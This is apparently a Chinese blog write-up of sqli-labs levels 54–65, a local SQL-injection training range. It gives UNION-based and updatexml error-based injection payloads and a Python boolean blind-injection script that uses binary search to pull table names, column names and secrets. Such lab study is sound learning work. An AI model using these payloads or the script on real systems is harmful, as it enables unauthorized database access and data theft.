当前位置:   article > 正文

sqli-labs-master靶场训练笔记(54-65|决战紫禁之巓)

sqli-labs-master靶场训练笔记(54-65|决战紫禁之巓)

2024.2.5

level-54 

1、先判断类型和闭合类型

  1. ?id=1/0 #正常 证明不是数字型
  2. ?id=1' #错误
  3. ?id=1' -- a #正常 判断是 ' 闭合

2、 判断列数

 这里需要运气,但是根据前面50多关的经验直接猜测是3列

?id=-1' union select 1,2,3 -- a

3、爆表名,爆列名

由于有两个回显位,可以一口气爆两个 

?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- a

4、 爆字段名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='k4btflpcqe') -- a

5、爆数据

四个字段,四次机会

经过尝试,第三个字段是正确的

?id=-1' union select 1,2,(select group_concat('~',secret_0LJ6,'~') from challenges.k4btflpcqe limit 0,1) -- a

(如果是第一次打这个关卡,但凡运气和判断失误一点都不太能一次过)

level-55

  1. 1、先判断类型
  2. ?id=1/0 #错误 证明是数字型
  3. ?id=1 -- a #错误
  4. ?id=1) -- a #正常 判断是 ) 闭合
  5. 2、后面过程与 level-54 一样

level-56

  1. 1、先判断类型
  2. ?id=1/0 #正常 证明不是数字型
  3. ?id=1' #错误
  4. ?id=1' -- a #错误
  5. ?id=1') -- a #正常 判断是 ') 闭合
  6. 2、后面过程与 level-54 一样

 level-57

  1. 1、先判断类型
  2. ?id=1/0 #正常 证明不是数字型
  3. ?id=1' #正常
  4. ?id=1" #错误
  5. ?id=1" -- a #正常 判断是 " 闭合
  6. 2、后面过程与 level-54 一样

level-58

1、先判断类型

  1. ?id=1/0 #正常 证明不是数字型
  2. ?id=1' -- a #因为有报错信息可以直接判断出'闭合

2、爆列名

有报错信息的存在,这次选择报错注入,节省次数的浪费

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- a

3、爆字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='q9821q44au'),'~'),1) -- a

4、爆数据

?id=1' and updatexml(1,concat('~',(select group_concat('~',secret_L4Z3,'~') from challenges.q9821q44au limit 0,1),'~'),1) -- a

level-59

  1. 1、先判断类型
  2. ?id=1/0 #错误 证明是数字型
  3. ?id=1 -- a #正常 判断无闭合
  4. 2、后面过程与 level-58 一样

level-60

  1. 1、先判断类型
  2. ?id=1/0 #正常 证明不是数字型
  3. ?id=1' #错误
  4. ?id=1" #根据报错信息知道是 ") 闭合
  5. ?id=1") -- a #正常
  6. 2、后面过程与 level-58 一样

level-61

  1. 1、先判断类型
  2. ?id=1/0 #正常 证明不是数字型
  3. ?id=1' #根据报错信息知道是 ')) 闭合
  4. ?id=1')) -- a #正常
  5. 2、后面过程与 level-58 一样

level-62

 1、先判断类型

  1. 1、先判断类型
  2. ?id=1/0 #正常 证明不是数字型
  3. ?id=1' #错误
  4. ?id=1" #正常
  5. ?id=1' -- a #错误
  6. ?id=1') -- a #正常 判断是 ') 闭合

2、爆数据

首先需要了解一下表名,列名,数据的组成

表名:10位随机的字母(含大小写)或数字

列名:secret_+4位随机的字母(含大小写)或数字

数据:24位随机的字母(含大小写)或数字

显然正常的爆破次数(38*62=2356)是远远大于130次的

而且用二分法 (38*log2(62)=228) 也大于130

既然这样,只能写脚本绕过了

  1. import requests
  2. def binary_query(start,length,payload):
  3. name = ''
  4. times = 0
  5. for i in range(start,start+length):
  6. p, q = 0, len(words)-1
  7. while p<=q:
  8. resp = requests.get(url, params={'id':payload.format(i,words[(p+q)//2])})
  9. times += 1
  10. if ("Login name" in resp.content.decode('utf-8')): #向右找
  11. p = (p+q)//2+1
  12. else: #向左找
  13. q = (p+q)//2-1
  14. name += chr(words[p])
  15. return name,times
  16. #生成0~9,A~Z,a~z的ascii码
  17. words = [i for i in range(ord('0'),ord('9')+1)]+[i for i in range(ord('A'),ord('Z')+1)]+[i for i in range(ord('a'),ord('z')+1)]
  18. url = r"http://127.0.0.1/sqli-labs-master/Less-62/"
  19. #爆表名
  20. table_payload = "1') and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- a"
  21. table_name, table_time= binary_query(1,10,table_payload)
  22. print(f'table_name: {table_name}\ntable_time: {table_time}')
  23. #爆列名
  24. column_payload = f"1') and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' and column_name like 'secret_%')"+",{},1))>{},1,0) -- a"
  25. column_name,column_time = binary_query(8,4,column_payload)
  26. column_name = 'secret_'+ column_name
  27. print(f'table_name: {column_name}\ntable_time: {column_time}')
  28. #爆数据
  29. data_payload = f"1') and if(ascii(mid((select {column_name} from challenges.{table_name})"+",{},1))>{},1,0) -- a"
  30. data_name,data_time = binary_query(1,24,data_payload)
  31. print(f'table_name: {data_name}\ntable_time: {data_time}')
  32. print(f'sum_time:{table_time+column_time+data_time}')

 

level-63

  1. ?id=1' -- a
  2. ' 闭合,剩下的和level-62一样

level-64

  1. ?id=1)) -- a
  2. )) 闭合,剩下的和level-62一样

level-65

  1. ?id=1") -- a
  2. ") 闭合,剩下的和level-62一样

这一路上走走停停,两周的时间,当初茫然的菜鸟似乎已经开始可以独自面对风雨,从对着单引号一脸懵逼到如今可以写脚本来解放双手,sql注入的大门已经为你我打开,此时,训练场已经满足不了想要展翅的❤,是时候背起行囊,前往大千世界,但切记,虽可飞翔,但羽翼仍未丰满,面对挑战,不要气馁,面对弱小, 务必留情,切勿挑战世界的法则,与千千万万一起构建和谐的社会

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/69979
推荐阅读
  

闽ICP备14008679号